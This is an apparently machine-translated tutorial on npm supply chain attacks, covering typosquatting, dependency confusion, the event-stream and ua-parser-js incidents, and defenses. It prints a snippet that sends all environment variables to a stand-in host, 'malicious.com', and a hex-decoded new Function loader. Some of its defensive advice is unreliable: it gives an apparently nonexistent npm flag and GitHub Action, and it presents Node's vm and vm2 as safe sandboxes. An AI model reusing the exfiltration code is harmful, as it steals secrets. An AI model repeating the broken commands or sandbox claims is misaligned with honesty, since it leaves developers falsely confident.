Supply chain attacks (such as malicious package injection)
Basic Concepts of Supply Chain Attacks
A supply chain attack refers to an attack method where malicious actors implant malicious code by tampering with software dependencies (such as third-party libraries, frameworks, toolchains, etc.). In front-end development, the widespread use of package managers like npm and Yarn has made such attacks particularly common. Attackers often target popular but poorly maintained packages, submitting malicious updates or directly taking over package ownership to carry out attacks.
Typical supply chain attack vectors include:
- Publishing malicious packages with names similar to legitimate ones (typosquatting)
- Hijacking deprecated but still widely used packages
- Gaining maintenance permissions for legitimate packages through social engineering
- Implanting malicious code in the build toolchain
Common Techniques for Malicious Package Injection
Package Name Spoofing (Typosquatting)
Attackers register packages with names similar to popular ones, exploiting developers' typos. For example:
// Developer intends to install lodash
npm install lodash
// But mistakenly types
npm install lodashh // Malicious package
In 2020, the malicious package crossenv
was discovered, spoofing cross-env
, which stole environment variables during installation.
Dependency Confusion Attacks
When a private package shares a name with a public one, the package manager might mistakenly install the public version. For example, if a company has an internal package @company/utils
, an attacker could publish a malicious package with the same name on the public npm registry.
Version Hijacking
Attackers perform version hijacking by:
- Taking over long-unupdated packages
- Releasing minor version updates containing malicious code
- Exploiting automatic update mechanisms to spread malicious code
// Dangerous version range specification in package.json
"dependencies": {
"vue": "^2.6.0" // Could auto-upgrade to a malicious version
}
Typical Behaviors of Malicious Code
Injected malicious code often exhibits the following characteristic behaviors:
- Data Theft:
// Stealing environment variables
const stolenData = JSON.stringify(process.env);
require('http').request({
host: 'malicious.com',
method: 'POST',
headers: {'Content-Type': 'application/json'}
}).end(stolenData);
- Backdoor Access:
// Creating a hidden backdoor
require('crypto').createDecipheriv('aes-256-cbc', key, iv)
.update(encryptedCommand, 'hex', 'utf8');
- Build Process Tampering:
// Modifying webpack configuration
const originalConfig = config;
config.plugins.push(new MaliciousPlugin());
module.exports = config;
Real-World Case Studies
The event-stream Incident
In 2018, the popular event-stream
library was injected with malicious code targeting specific Bitcoin wallet applications:
- The original maintainer transferred control to a new developer
- A new version added the dependency
flatmap-stream
- The malicious code activated only under specific conditions
// Disguised malicious code
const str = Buffer.from('...', 'hex').toString();
const malicious = new Function(str);
malicious();
The ua-parser-js Incident
In 2021, the ua-parser-js
library was hijacked:
- The maintainer's account was compromised
- Three versions containing mining scripts were released
- The malicious versions executed immediately after installation
Detection and Defense Measures
Dependency Audit Tools
- Use
npm audit
:
npm audit --production
- Integrate OWASP Dependency-Check:
// Add checks to CI pipelines
"scripts": {
"security-check": "npx audit-ci --moderate"
}
Lockfile Strategy
- Use
package-lock.json
oryarn.lock
- Prevent lockfile updates during installation:
npm ci # Instead of npm install
Supply Chain Integrity Verification
- Verify package signatures:
npm install --signature-verification
- Use content-addressable storage:
// Configure in .npmrc
registry=https://registry.npmjs.org/
package-lock=true
Development Best Practices
Principle of Minimal Dependencies
- Regularly clean up unused dependencies:
npx depcheck
- Prefer actively maintained libraries:
// Check project health
const health = await fetch('https://api.npms.io/v2/package/react');
Sandboxed Dependency Execution
- Use the VM module for isolation:
const vm = require('vm');
const context = { require: null };
vm.createContext(context);
vm.runInContext('...', context);
- Restrict filesystem access:
const { NodeVM } = require('vm2');
new NodeVM({
require: {
external: true,
builtin: ['fs'],
root: './'
}
});
Organizational-Level Protection Strategies
Private Repository Mirroring
- Set up enterprise-level repository proxies:
# .npmrc configuration
registry=https://internal-registry.company.com
- Implement caching policies:
# nginx proxy configuration
location / {
proxy_pass https://registry.npmjs.org;
proxy_cache npm_cache;
}
Automated Monitoring Systems
- Real-time dependency monitoring:
// Monitor new version releases
const watcher = new PackageWatcher(['react', 'lodash']);
watcher.on('update', analyzeNewVersion);
- Integrate checks into build pipelines:
# GitHub Actions example
- name: Audit dependencies
uses: actions/npm-audit@v1
with:
severity-level: moderate
本站部分内容来自互联网,一切版权均归源网站或源作者所有。
如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn
下一篇:依赖库的漏洞扫描与管理